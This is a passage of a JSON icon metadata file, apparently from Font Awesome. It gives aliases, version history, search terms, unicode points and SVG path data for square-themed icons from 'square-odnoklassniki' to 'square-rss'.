        "path": "M0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm75.7 64.6C68.8 162.5 64 168.8 64 176V336c0 8.8 7.2 16 16 16s16-7.2 16-16V233.8l66.3 110.5c3.7 6.2 11.1 9.1 18 7.2s11.7-8.2 11.7-15.4V176c0-8.8-7.2-16-16-16s-16 7.2-16 16V278.2L93.7 167.8c-3.7-6.2-11.1-9.1-18-7.2zM224 176v64 96c0 8.8 7.2 16 16 16s16-7.2 16-16V256h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H256V192h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H240c-8.8 0-16 7.2-16 16zm160 0c0-8.8-7.2-16-16-16s-16 7.2-16 16V336c0 8.8 7.2 16 16 16s16-7.2 16-16V176z"
      }
    },
    "free": ["solid"]
  },
  "square-odnoklassniki": {
    "aliases": {
      "names": ["odnoklassniki-square"]
    },
    "changes": ["4.4.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f264",
    "label": "Odnoklassniki Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M184.2 177.1c0-22.1 17.9-40 39.8-40s39.8 17.9 39.8 40c0 22-17.9 39.8-39.8 39.8s-39.8-17.9-39.8-39.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-305.1 97.1c0 44.6 36.4 80.9 81.1 80.9s81.1-36.2 81.1-80.9c0-44.8-36.4-81.1-81.1-81.1s-81.1 36.2-81.1 81.1zm174.5 90.7c-4.6-9.1-17.3-16.8-34.1-3.6 0 0-22.7 18-59.3 18s-59.3-18-59.3-18c-16.8-13.2-29.5-5.5-34.1 3.6-7.9 16.1 1.1 23.7 21.4 37 17.3 11.1 41.2 15.2 56.6 16.8l-12.9 12.9c-18.2 18-35.5 35.5-47.7 47.7-17.6 17.6 10.7 45.8 28.4 28.6l47.7-47.9c18.2 18.2 35.7 35.7 47.7 47.9 17.6 17.2 46-10.7 28.6-28.6l-47.7-47.7-13-12.9c15.5-1.6 39.1-5.9 56.2-16.8 20.4-13.3 29.3-21 21.5-37z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M184.2 177.1c0-22.1 17.9-40 39.8-40s39.8 17.9 39.8 40c0 22-17.9 39.8-39.8 39.8s-39.8-17.9-39.8-39.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-305.1 97.1c0 44.6 36.4 80.9 81.1 80.9s81.1-36.2 81.1-80.9c0-44.8-36.4-81.1-81.1-81.1s-81.1 36.2-81.1 81.1zm174.5 90.7c-4.6-9.1-17.3-16.8-34.1-3.6 0 0-22.7 18-59.3 18s-59.3-18-59.3-18c-16.8-13.2-29.5-5.5-34.1 3.6-7.9 16.1 1.1 23.7 21.4 37 17.3 11.1 41.2 15.2 56.6 16.8l-12.9 12.9c-18.2 18-35.5 35.5-47.7 47.7-17.6 17.6 10.7 45.8 28.4 28.6l47.7-47.9c18.2 18.2 35.7 35.7 47.7 47.9 17.6 17.2 46-10.7 28.6-28.6l-47.7-47.7-13-12.9c15.5-1.6 39.1-5.9 56.2-16.8 20.4-13.3 29.3-21 21.5-37z"
      }
    },
    "free": ["brands"]
  },
  "square-parking": {
    "aliases": {
      "names": ["parking"],
      "unicodes": {
        "composite": ["1f17f"],
        "secondary": ["10f540"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["auto", "car", "garage", "meter", "parking"]
    },
    "styles": ["solid"],
    "unicode": "f540",
    "label": "Square Parking",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM192 256h48c17.7 0 32-14.3 32-32s-14.3-32-32-32H192v64zm48 64H192v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V288 168c0-22.1 17.9-40 40-40h72c53 0 96 43 96 96s-43 96-96 96z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM192 256h48c17.7 0 32-14.3 32-32s-14.3-32-32-32H192v64zm48 64H192v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V288 168c0-22.1 17.9-40 40-40h72c53 0 96 43 96 96s-43 96-96 96z"
      }
    },
    "free": ["solid"]
  },
  "square-pen": {
    "aliases": {
      "names": ["pen-square", "pencil-square"],
      "unicodes": {
        "secondary": ["10f14b"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["edit", "pencil-square", "update", "write"]
    },
    "styles": ["solid"],
    "unicode": "f14b",
    "label": "Square Pen",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM325.8 139.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-21.4 21.4-71-71 21.4-21.4c15.6-15.6 40.9-15.6 56.6 0zM119.9 289L225.1 183.8l71 71L190.9 359.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM325.8 139.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-21.4 21.4-71-71 21.4-21.4c15.6-15.6 40.9-15.6 56.6 0zM119.9 289L225.1 183.8l71 71L190.9 359.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"
      }
    },
    "free": ["solid"]
  },
  "square-person-confined": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["captivity", "confined"]
    },
    "styles": ["solid"],
    "unicode": "e577",
    "label": "Square Person Confined",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm96 112a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm80 104c0-30.9 25.1-56 56-56s56 25.1 56 56V350.1c0 36.4-29.5 65.9-65.9 65.9c-17.5 0-34.3-6.9-46.6-19.3L184.8 342l-28.1 56.3c-7.9 15.8-27.1 22.2-42.9 14.3s-22.2-27.1-14.3-42.9l48-96c4.6-9.2 13.3-15.6 23.5-17.3s20.5 1.7 27.8 9L240 306.7V248z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm96 112a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm80 104c0-30.9 25.1-56 56-56s56 25.1 56 56V350.1c0 36.4-29.5 65.9-65.9 65.9c-17.5 0-34.3-6.9-46.6-19.3L184.8 342l-28.1 56.3c-7.9 15.8-27.1 22.2-42.9 14.3s-22.2-27.1-14.3-42.9l48-96c4.6-9.2 13.3-15.6 23.5-17.3s20.5 1.7 27.8 9L240 306.7V248z"
      }
    },
    "free": ["solid"]
  },
  "square-phone": {
    "aliases": {
      "names": ["phone-square"],
      "unicodes": {
        "secondary": ["10f098"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["call", "earphone", "number", "support", "telephone", "voice"]
    },
    "styles": ["solid"],
    "unicode": "f098",
    "label": "Square Phone",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm90.7 96.7c9.7-2.6 19.9 2.3 23.7 11.6l20 48c3.4 8.2 1 17.6-5.8 23.2L168 231.7c16.6 35.2 45.1 63.7 80.3 80.3l20.2-24.7c5.6-6.8 15-9.2 23.2-5.8l48 20c9.3 3.9 14.2 14 11.6 23.7l-12 44C336.9 378 329 384 320 384C196.3 384 96 283.7 96 160c0-9 6-16.9 14.7-19.3l44-12z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm90.7 96.7c9.7-2.6 19.9 2.3 23.7 11.6l20 48c3.4 8.2 1 17.6-5.8 23.2L168 231.7c16.6 35.2 45.1 63.7 80.3 80.3l20.2-24.7c5.6-6.8 15-9.2 23.2-5.8l48 20c9.3 3.9 14.2 14 11.6 23.7l-12 44C336.9 378 329 384 320 384C196.3 384 96 283.7 96 160c0-9 6-16.9 14.7-19.3l44-12z"
      }
    },
    "free": ["solid"]
  },
  "square-phone-flip": {
    "aliases": {
      "names": ["phone-square-alt"],
      "unicodes": {
        "secondary": ["10f87b"]
      }
    },
    "changes": ["5.9.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["call", "earphone", "number", "support", "telephone", "voice"]
    },
    "styles": ["solid"],
    "unicode": "f87b",
    "label": "Square Phone Flip",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 32c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H384zm-90.7 96.7c-9.7-2.6-19.9 2.3-23.7 11.6l-20 48c-3.4 8.2-1 17.6 5.8 23.2L280 231.7c-16.6 35.2-45.1 63.7-80.3 80.3l-20.2-24.7c-5.6-6.8-15-9.2-23.2-5.8l-48 20c-9.3 3.9-14.2 14-11.6 23.7l12 44C111.1 378 119 384 128 384c123.7 0 224-100.3 224-224c0-9-6-16.9-14.7-19.3l-44-12z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M384 32c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H384zm-90.7 96.7c-9.7-2.6-19.9 2.3-23.7 11.6l-20 48c-3.4 8.2-1 17.6 5.8 23.2L280 231.7c-16.6 35.2-45.1 63.7-80.3 80.3l-20.2-24.7c-5.6-6.8-15-9.2-23.2-5.8l-48 20c-9.3 3.9-14.2 14-11.6 23.7l12 44C111.1 378 119 384 128 384c123.7 0 224-100.3 224-224c0-9-6-16.9-14.7-19.3l-44-12z"
      }
    },
    "free": ["solid"]
  },
  "square-pied-piper": {
    "aliases": {
      "names": ["pied-piper-square"]
    },
    "changes": ["5.12.0", "5.14.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e01e",
    "label": "Pied Piper Square Logo (Old)",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M32 419L0 479.2l.8-328C.8 85.3 54 32 120 32h327.2c-93 28.9-189.9 94.2-253.9 168.6C122.7 282 82.6 338 32 419M448 32S305.2 98.8 261.6 199.1c-23.2 53.6-28.9 118.1-71 158.6-28.9 27.8-69.8 38.2-105.3 56.3-23.2 12-66.4 40.5-84.9 66h328.4c66 0 119.3-53.3 119.3-119.2-.1 0-.1-328.8-.1-328.8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M32 419L0 479.2l.8-328C.8 85.3 54 32 120 32h327.2c-93 28.9-189.9 94.2-253.9 168.6C122.7 282 82.6 338 32 419M448 32S305.2 98.8 261.6 199.1c-23.2 53.6-28.9 118.1-71 158.6-28.9 27.8-69.8 38.2-105.3 56.3-23.2 12-66.4 40.5-84.9 66h328.4c66 0 119.3-53.3 119.3-119.2-.1 0-.1-328.8-.1-328.8z"
      }
    },
    "free": ["brands"]
  },
  "square-pinterest": {
    "aliases": {
      "names": ["pinterest-square"]
    },
    "changes": ["2.0.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f0d3",
    "label": "Pinterest Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 80v352c0 26.5-21.5 48-48 48H154.4c9.8-16.4 22.4-40 27.4-59.3 3-11.5 15.3-58.4 15.3-58.4 8 15.3 31.4 28.2 56.3 28.2 74.1 0 127.4-68.1 127.4-152.7 0-81.1-66.2-141.8-151.4-141.8-106 0-162.2 71.1-162.2 148.6 0 36 19.2 80.8 49.8 95.1 4.7 2.2 7.1 1.2 8.2-3.3.8-3.4 5-20.1 6.8-27.8.6-2.5.3-4.6-1.7-7-10.1-12.3-18.3-34.9-18.3-56 0-54.2 41-106.6 110.9-106.6 60.3 0 102.6 41.1 102.6 99.9 0 66.4-33.5 112.4-77.2 112.4-24.1 0-42.1-19.9-36.4-44.4 6.9-29.2 20.3-60.7 20.3-81.8 0-53-75.5-45.7-75.5 25 0 21.7 7.3 36.5 7.3 36.5-31.4 132.8-36.1 134.5-29.6 192.6l2.2.8H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 80v352c0 26.5-21.5 48-48 48H154.4c9.8-16.4 22.4-40 27.4-59.3 3-11.5 15.3-58.4 15.3-58.4 8 15.3 31.4 28.2 56.3 28.2 74.1 0 127.4-68.1 127.4-152.7 0-81.1-66.2-141.8-151.4-141.8-106 0-162.2 71.1-162.2 148.6 0 36 19.2 80.8 49.8 95.1 4.7 2.2 7.1 1.2 8.2-3.3.8-3.4 5-20.1 6.8-27.8.6-2.5.3-4.6-1.7-7-10.1-12.3-18.3-34.9-18.3-56 0-54.2 41-106.6 110.9-106.6 60.3 0 102.6 41.1 102.6 99.9 0 66.4-33.5 112.4-77.2 112.4-24.1 0-42.1-19.9-36.4-44.4 6.9-29.2 20.3-60.7 20.3-81.8 0-53-75.5-45.7-75.5 25 0 21.7 7.3 36.5 7.3 36.5-31.4 132.8-36.1 134.5-29.6 192.6l2.2.8H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48z"
      }
    },
    "free": ["brands"]
  },
  "square-plus": {
    "aliases": {
      "names": ["plus-square"],
      "unicodes": {
        "composite": ["f196"],
        "secondary": ["10f0fe"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["add", "create", "expand", "new", "positive", "shape"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0fe",
    "label": "Square Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM200 344V280H136c-13.3 0-24-10.7-24-24s10.7-24 24-24h64V168c0-13.3 10.7-24 24-24s24 10.7 24 24v64h64c13.3 0 24 10.7 24 24s-10.7 24-24 24H248v64c0 13.3-10.7 24-24 24s-24-10.7-24-24z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM200 344V280H136c-13.3 0-24-10.7-24-24s10.7-24 24-24h64V168c0-13.3 10.7-24 24-24s24 10.7 24 24v64h64c13.3 0 24 10.7 24 24s-10.7 24-24 24H248v64c0 13.3-10.7 24-24 24s-24-10.7-24-24z"
      },
      "regular": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16V96c0-8.8-7.2-16-16-16H64zM0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM200 344V280H136c-13.3 0-24-10.7-24-24s10.7-24 24-24h64V168c0-13.3 10.7-24 24-24s24 10.7 24 24v64h64c13.3 0 24 10.7 24 24s-10.7 24-24 24H248v64c0 13.3-10.7 24-24 24s-24-10.7-24-24z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16V96c0-8.8-7.2-16-16-16H64zM0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM200 344V280H136c-13.3 0-24-10.7-24-24s10.7-24 24-24h64V168c0-13.3 10.7-24 24-24s24 10.7 24 24v64h64c13.3 0 24 10.7 24 24s-10.7 24-24 24H248v64c0 13.3-10.7 24-24 24s-24-10.7-24-24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "square-poll-horizontal": {
    "aliases": {
      "names": ["poll-h"],
      "unicodes": {
        "secondary": ["10f682"]
      }
    },
    "changes": [
      "5.3.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "chart",
        "graph",
        "results",
        "survey",
        "trend",
        "vote",
        "voting"
      ]
    },
    "styles": ["solid"],
    "unicode": "f682",
    "label": "Square Poll Horizontal",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 96c0-35.3-28.7-64-64-64L64 32C28.7 32 0 60.7 0 96L0 416c0 35.3 28.7 64 64 64l320 0c35.3 0 64-28.7 64-64l0-320zM256 160c0 17.7-14.3 32-32 32l-96 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l96 0c17.7 0 32 14.3 32 32zm64 64c17.7 0 32 14.3 32 32s-14.3 32-32 32l-192 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l192 0zM192 352c0 17.7-14.3 32-32 32l-32 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l32 0c17.7 0 32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 96c0-35.3-28.7-64-64-64L64 32C28.7 32 0 60.7 0 96L0 416c0 35.3 28.7 64 64 64l320 0c35.3 0 64-28.7 64-64l0-320zM256 160c0 17.7-14.3 32-32 32l-96 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l96 0c17.7 0 32 14.3 32 32zm64 64c17.7 0 32 14.3 32 32s-14.3 32-32 32l-192 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l192 0zM192 352c0 17.7-14.3 32-32 32l-32 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l32 0c17.7 0 32 14.3 32 32z"
      }
    },
    "free": ["solid"]
  },
  "square-poll-vertical": {
    "aliases": {
      "names": ["poll"],
      "unicodes": {
        "secondary": ["10f681"]
      }
    },
    "changes": [
      "5.3.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "chart",
        "graph",
        "results",
        "survey",
        "trend",
        "vote",
        "voting"
      ]
    },
    "styles": ["solid"],
    "unicode": "f681",
    "label": "Square Poll Vertical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm64 192c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V256c0-17.7 14.3-32 32-32zm64-64c0-17.7 14.3-32 32-32s32 14.3 32 32V352c0 17.7-14.3 32-32 32s-32-14.3-32-32V160zM320 288c17.7 0 32 14.3 32 32v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V320c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm64 192c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V256c0-17.7 14.3-32 32-32zm64-64c0-17.7 14.3-32 32-32s32 14.3 32 32V352c0 17.7-14.3 32-32 32s-32-14.3-32-32V160zM320 288c17.7 0 32 14.3 32 32v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V320c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "square-reddit": {
    "aliases": {
      "names": ["reddit-square"]
    },
    "changes": ["4.1.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1a2",
    "label": "reddit Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M283.2 345.5c2.7 2.7 2.7 6.8 0 9.2-24.5 24.5-93.8 24.6-118.4 0-2.7-2.4-2.7-6.5 0-9.2 2.4-2.4 6.5-2.4 8.9 0 18.7 19.2 81 19.6 100.5 0 2.4-2.3 6.6-2.3 9 0zm-91.3-53.8c0-14.9-11.9-26.8-26.5-26.8-14.9 0-26.8 11.9-26.8 26.8 0 14.6 11.9 26.5 26.8 26.5 14.6 0 26.5-11.9 26.5-26.5zm90.7-26.8c-14.6 0-26.5 11.9-26.5 26.8 0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-11.9 26.8-26.5 0-14.9-11.9-26.8-26.8-26.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-99.7 140.6c-10.1 0-19 4.2-25.6 10.7-24.1-16.7-56.5-27.4-92.5-28.6l18.7-84.2 59.5 13.4c0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-12.2 26.8-26.8 0-14.6-11.9-26.8-26.8-26.8-10.4 0-19.3 6.2-23.8 14.9l-65.7-14.6c-3.3-.9-6.5 1.5-7.4 4.8l-20.5 92.8c-35.7 1.5-67.8 12.2-91.9 28.9-6.5-6.8-15.8-11-25.9-11-37.5 0-49.8 50.4-15.5 67.5-1.2 5.4-1.8 11-1.8 16.7 0 56.5 63.7 102.3 141.9 102.3 78.5 0 142.2-45.8 142.2-102.3 0-5.7-.6-11.6-2.1-17 33.6-17.2 21.2-67.2-16.1-67.2z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M283.2 345.5c2.7 2.7 2.7 6.8 0 9.2-24.5 24.5-93.8 24.6-118.4 0-2.7-2.4-2.7-6.5 0-9.2 2.4-2.4 6.5-2.4 8.9 0 18.7 19.2 81 19.6 100.5 0 2.4-2.3 6.6-2.3 9 0zm-91.3-53.8c0-14.9-11.9-26.8-26.5-26.8-14.9 0-26.8 11.9-26.8 26.8 0 14.6 11.9 26.5 26.8 26.5 14.6 0 26.5-11.9 26.5-26.5zm90.7-26.8c-14.6 0-26.5 11.9-26.5 26.8 0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-11.9 26.8-26.5 0-14.9-11.9-26.8-26.8-26.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-99.7 140.6c-10.1 0-19 4.2-25.6 10.7-24.1-16.7-56.5-27.4-92.5-28.6l18.7-84.2 59.5 13.4c0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-12.2 26.8-26.8 0-14.6-11.9-26.8-26.8-26.8-10.4 0-19.3 6.2-23.8 14.9l-65.7-14.6c-3.3-.9-6.5 1.5-7.4 4.8l-20.5 92.8c-35.7 1.5-67.8 12.2-91.9 28.9-6.5-6.8-15.8-11-25.9-11-37.5 0-49.8 50.4-15.5 67.5-1.2 5.4-1.8 11-1.8 16.7 0 56.5 63.7 102.3 141.9 102.3 78.5 0 142.2-45.8 142.2-102.3 0-5.7-.6-11.6-2.1-17 33.6-17.2 21.2-67.2-16.1-67.2z"
      }
    },
    "free": ["brands"]
  },
  "square-root-variable": {
    "aliases": {
      "names": ["square-root-alt"],
      "unicodes": {
        "secondary": ["10f698"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arithmetic", "calculus", "division", "math"]
    },
    "styles": ["solid"],
    "unicode": "f698",
    "label": "Square Root Variable",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M282.6 78.1c8-27.3 33-46.1 61.4-46.1H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H344L238.7 457c-3.6 12.3-14.1 21.2-26.8 22.8s-25.1-4.6-31.5-15.6L77.6 288H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H77.6c22.8 0 43.8 12.1 55.3 31.8l65.2 111.8L282.6 78.1zM393.4 233.4c12.5-12.5 32.8-12.5 45.3 0L480 274.7l41.4-41.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3L525.3 320l41.4 41.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L480 365.3l-41.4 41.4c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L434.7 320l-41.4-41.4c-12.5-12.5-12.5-32.8 0-45.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M282.6 78.1c8-27.3 33-46.1 61.4-46.1H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H344L238.7 457c-3.6 12.3-14.1 21.2-26.8 22.8s-25.1-4.6-31.5-15.6L77.6 288H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H77.6c22.8 0 43.8 12.1 55.3 31.8l65.2 111.8L282.6 78.1zM393.4 233.4c12.5-12.5 32.8-12.5 45.3 0L480 274.7l41.4-41.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3L525.3 320l41.4 41.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L480 365.3l-41.4 41.4c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L434.7 320l-41.4-41.4c-12.5-12.5-12.5-32.8 0-45.3z"
      }
    },
    "free": ["solid"]
  },
  "square-rss": {
    "aliases": {
      "names": ["rss-square"],
      "unicodes": {
        "secondary": ["10f143"]
      }
    },
    "changes": ["3.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
